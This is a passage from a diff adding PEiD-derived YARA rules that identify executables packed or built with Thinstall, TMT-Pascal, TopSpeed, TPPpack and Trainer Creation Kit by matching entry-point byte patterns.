+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+    condition:
+        $a
+}
+rule PEiD_02249_Thinstall_2_628____Jtit_
+{
+    meta:
+        description = "[Thinstall 2.628 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+    condition:
+        $a
+}
+
+rule PEiD_02250_Thinstall_3_035____Jtit_
+{
+    meta:
+        description = "[Thinstall 3.035 -> Jtit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02251_Thinstall_Embedded_V1_9X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V1.9X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02252_Thinstall_Embedded_V2_0X____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02253_Thinstall_Embedded_V2_0X____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.0X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02254_Thinstall_Embedded_V2_2X_V2_308____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_02255_Thinstall_Embedded_V2_2X_V2_308____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.2X-V2.308 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+
+rule PEiD_02256_Thinstall_Embedded_V2_312____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_02257_Thinstall_Embedded_V2_312____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.312 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+    condition:
+        $a
+}
+rule PEiD_02258_Thinstall_Embedded_V2_422_V2_428____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.422-V2.428 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02259_Thinstall_Embedded_V2_501____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.501 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_02260_Thinstall_Embedded_V2_545____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.545 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02261_Thinstall_Embedded_V2_547_V2_600____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.547-V2.600 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02262_Thinstall_Embedded_V2_609____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.609 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+    condition:
+        $a
+}
+
+rule PEiD_02263_Thinstall_Embedded_V2_620_V2_623____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.620-V2.623 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02264_Thinstall_Embedded_V2_717_V2_719____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02265_Thinstall_Embedded_V2_717_V2_719____Jitit_
+{
+    meta:
+        description = "[Thinstall Embedded V2.717-V2.719 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+    condition:
+        $a
+}
+
+rule PEiD_02266_Thinstall_V2_403____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.403 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 57 BF 00 00 80 00 39 79 14 77 36 53 56 8B B1 29 04 00 00 8B 41 0C 8B 59 10 03 DB 8A 14 30 83 E2 01 0B D3 C1 E2 07 40 89 51 10 89 41 0C 0F B6 04 30 C1 61 14 08 D1 E8 09 41 10 39}
+    condition:
+        $a
+}
+rule PEiD_02267_Thinstall_v2_460____Jitit_
+{
+    meta:
+        description = "[Thinstall v2.460 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+    condition:
+        $a
+}
+
+rule PEiD_02268_Thinstall_V2_736____Jitit___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+    condition:
+        $a
+}
+rule PEiD_02269_Thinstall_V2_736____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.736 -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02270_Thinstall_V2_7X____Jitit_
+{
+    meta:
+        description = "[Thinstall V2.7X -> Jitit]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_02271_Thinstall_Virtualization_Suite_3_035_3_043____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a
+}
+rule PEiD_02272_Thinstall_Virtualization_Suite_3_0xx____Jitit_Software_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite 3.0xx -> Jitit Software]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 00 00 00 01 68 00 ?? 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4}
+    condition:
+        $a
+}
+
+rule PEiD_02273_Thinstall_Virtualization_Suite_V3_035_V3_043____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.035-V3.043 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02274_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02275_Thinstall_Virtualization_Suite_V3_049_V3_080____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+    condition:
+        $a
+}
+
+rule PEiD_02276_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company___Sign_by_fly_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+    condition:
+        $a
+}
+rule PEiD_02277_Thinstall_Virtualization_Suite_V3_0X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.0X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+    condition:
+        $a
+}
+
+rule PEiD_02278_Thinstall_Virtualization_Suite_V3_10X____Thinstall_Company_
+{
+    meta:
+        description = "[Thinstall Virtualization Suite V3.10X -> Thinstall Company]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33}
+    condition:
+        $a
+}
+
+rule PEiD_02279_Thinstall_vx_x_
+{
+    meta:
+        description = "[Thinstall vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02280_TMT_Pascal_v0_40_
+{
+    meta:
+        description = "[TMT-Pascal v0.40]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_02281_TopSpeed_v3_01_1989_
+{
+    meta:
+        description = "[TopSpeed v3.01 1989]"
+        ep_only = "true"
+    strings:
+        $a = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+    condition:
+        $a
+}
+rule PEiD_02282_TPPpack___clane_
+{
+    meta:
+        description = "[TPPpack-> clane]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02283_Trainer_Creation_Kit_5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit 5 Trainer]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+    condition:
+        $a
+}
+
+rule PEiD_02284_Trainer_Creation_Kit_v5_Trainer_
+{
+    meta:
+        description = "[Trainer Creation Kit v5 Trainer]"
+        ep_only = "false"
+    strings:
